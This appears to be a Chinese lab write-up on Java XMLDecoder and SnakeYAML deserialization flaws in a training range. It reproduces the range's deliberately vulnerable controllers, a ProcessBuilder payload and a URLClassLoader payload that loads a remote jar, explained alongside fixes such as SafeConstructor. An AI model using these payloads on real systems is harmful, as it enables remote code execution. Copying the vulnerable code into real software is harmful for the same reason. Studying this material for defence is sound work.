Java 反序列化漏洞-xmldecoder/SnakeYAM

0.前言

这个靶场的这两个漏洞写的不是很好,而且也挺稀有的,第一个简单了解一下就行,第二个可以看一下那个payload的构建思路

1.xmldecoder反序列化漏洞

源代码分析

java 复制代码
package org.bewhale.javasec.controller.deserialize;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;

import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;

@Controller
@RequestMapping("/home/deserialize")
public class XMLDecoder {
    @RequestMapping("/xmldecoder")
    public String xmlDecoder(String cmd, Model model) {
        StringBuilder results = new StringBuilder();
        String[] strCmd = cmd.split(" ");
        StringBuilder sb = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
                .append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")
                .append("    <object class=\"java.lang.ProcessBuilder\">\n")
                .append("        <array class=\"java.lang.String\" length=\"" + strCmd.length + "\">");
        for (int i = 0; i < strCmd.length; i++) {
            sb.append("            <void index=\"" + i + "\">")
                    .append("                <string>" + strCmd[i] + "</string>")
                    .append("            </void>");
        }
        sb.append("        </array>")
                .append("        <void method=\"start\" />")
                .append("    </object>")
                .append("</java>");
        String xml = sb.toString();
        try {
            java.beans.XMLDecoder xmlDecoder = new java.beans.XMLDecoder(new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8)));
            xmlDecoder.readObject();
            xmlDecoder.close();
            model.addAttribute("results", results.append("执行成功!").append(System.lineSeparator()).append("XML:").append(System.lineSeparator()).append(sb));
        } catch (Exception e) {
            e.printStackTrace();
            model.addAttribute("results", results.append(e));
        }
        return "deserialize/xmldecoder";
    }
}

可以看到,服务端主动去把XML拼好了然后去读取然后触发了漏洞,正常来说应该是攻击者传入一段XML文件,然后服务器交给XMLDecoder.readObject ()最终触发漏洞,payload什么的直接输入命令就行,都不用你去构造XML,就像作者起的变量名一样,这真的很"sb"(StringBuilder),正常的代码应该是这样的:

java 复制代码
XMLDecoder decoder = new XMLDecoder(外部输入流);
decoder.readObject();

不是说这个代码没有问题的意思,只是让人知道正常的流程而已

修复思路

java.beans.XMLDecoder 用来解析特定格式 XML、重建 Java 对象时

XML 内可以直接指定任意类、调用任意方法。

当前代码直接拼接可控参数 cmd 到 XML 文本,送入 XMLDecoder 解析,攻击者可控 XML 内容,构造恶意标签调用ProcessBuilder.start()实现命令执行。

XMLDecoder 设计本身极度危险,没有内置类白名单机制,官方不推荐用于解析不受信任的数据。 能替换就替换:使用 Jackson/JacksonXML、JAXB 等常规 XML 解析方案。

知识扩展

很多人混淆 XXE 和 XMLDecoder:

XXE:SAX/DOM 等 XML 解析器外部实体漏洞,读取文件、内网探测;

XMLDecoder 漏洞:JavaBean 专属对象反序列化,可以直接调用方法 RCE,二者完全不是一类漏洞。

2.SnakeYAML 反序列化

payload

普通payload:

!!java.lang.ProcessBuilder "cmd","/c","calc"

SnakeYAML 在默认构造器 下,支持 !! 标签指定 Java 类,自动实例化对象。

和 Fastjson @type、Jackson @class 思想高度相似。

ScriptEngineManager+URLClassLoader 方式:远程加载 Jar:

!!javax.script.ScriptEngineManager !![java.net](https://link.wtturl.cn/?target=https%3A%2F%2Fjava.net&scene=im&aid=582478&lang=zh "java.net").URLClassLoader \[\[!![java.net](https://link.wtturl.cn/?target=https%3A%2F%2Fjava.net&scene=im&aid=582478&lang=zh "java.net").URL \['[http://127.0.0.1:8000/upload/yaml-payload.jar](https://link.wtturl.cn/?target=http%3A%2F%2F127.0.0.1%3A8000%2Fupload%2Fyaml-payload.jar&scene=im&aid=582478&lang=zh "http://127.0.0.1:8000/upload/yaml-payload.jar")']]]

SnakeYaml 低版本支持 !!类名,直接 new 对象;同时支持把后面数组内容传入构造方法。

  1. !!javax.script.ScriptEngineManager 实例化 ScriptEngineManager 对象。 它有一个带 ClassLoader 参数的构造函数public ScriptEngineManager(ClassLoader loader)

  2. 方括号 [xxx] = YAML 语法:给构造方法传入参数 所以等价 Java 代码:

    ClassLoader loader = URLClassLoader实例;
    new ScriptEngineManager(loader);

  3. !!java.net.URLClassLoader 实例化 URLClassLoader,作用:远程加载网络上的 jar 包 URLClassLoader 构造接收 URL[] 数组。

  4. [[ !!java.net.URL ['http://127.0.0.1:8000/upload/yaml-payload.jar'] ]]

  • 内层!!java.net.URL 创建 URL 对象(远程 jar 地址)
  • 双层[[ ]]:代表传入URL 数组,匹配 URLClassLoader 构造方法参数类型

等价纯 Java 代码(payload 翻译成 Java)

复制代码
URL url = new URL("http://127.0.0.1:8000/upload/yaml-payload.jar");
URL[] urls = new URL[]{url};
ClassLoader classLoader = new URLClassLoader(urls);
new ScriptEngineManager(classLoader);

源代码分析

java 复制代码
package org.bewhale.javasec.controller.deserialize;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.yaml.snakeyaml.Yaml;

@Controller
@RequestMapping("/home/deserialize")
public class YamlLoad {

    @RequestMapping("/yaml")
    public String  yaml(String content, Model model) {
        try {
            Yaml y = new Yaml();
            y.load(content);
            model.addAttribute("results", "执行成功!");
        } catch (Exception e) {
            e.printStackTrace();
            model.addAttribute("results", e.toString());
        }
        return "deserialize/yaml";
    }
}

感觉没什么好分析的,接口地址:/home/deserialize/yaml?content=可控yaml文本 外部可控字符串直接传入 Yaml.load()

修复思路

强制使用 SafeConstructor【首选,通用根治,不受版本限制】

SafeConstructor黑名单禁止绝大多数危险类,仅允许基础类型(字符串、数字、List、Map),不支持实例化自定义 / Java 危险类。

java 复制代码
// 不安全旧代码
// Yaml y = new Yaml();

// 安全写法
Yaml y = new Yaml(new SafeConstructor());
y.load(content);
相关推荐
xcLeigh1 小时前
Go入门:零值与变量默认初始化机制
开发语言·后端·golang
禾高网络1 小时前
开启环保新潮流:回收小程序系统功能介绍
java·大数据·小程序
deviant-ART1 小时前
java stream 的 findFirst 及 findAny 方法遇到 null 元素时会出现 NullPointerException
java·开发语言
银-豆豆1 小时前
Python爬虫
开发语言·爬虫·python
zmzb01032 小时前
C++课后习题训练记录Day179
开发语言·c++
jjjava2.02 小时前
MyBatis动态if/trim/where/set标签详解
java·开发语言·数据库
不正经学生2 小时前
C语言指针进阶:const 和野指针——给指针加锁,向野指针宣战
c语言·开发语言·c++·算法·c#
程序喵大人2 小时前
【C++进阶】STL算法与函数对象 - 01 让算法去处理一段迭代器范围
开发语言·c++·算法·函数对象
gugucoding2 小时前
34.【Java】I/O流(下):NIO与文件操作
java·python·nio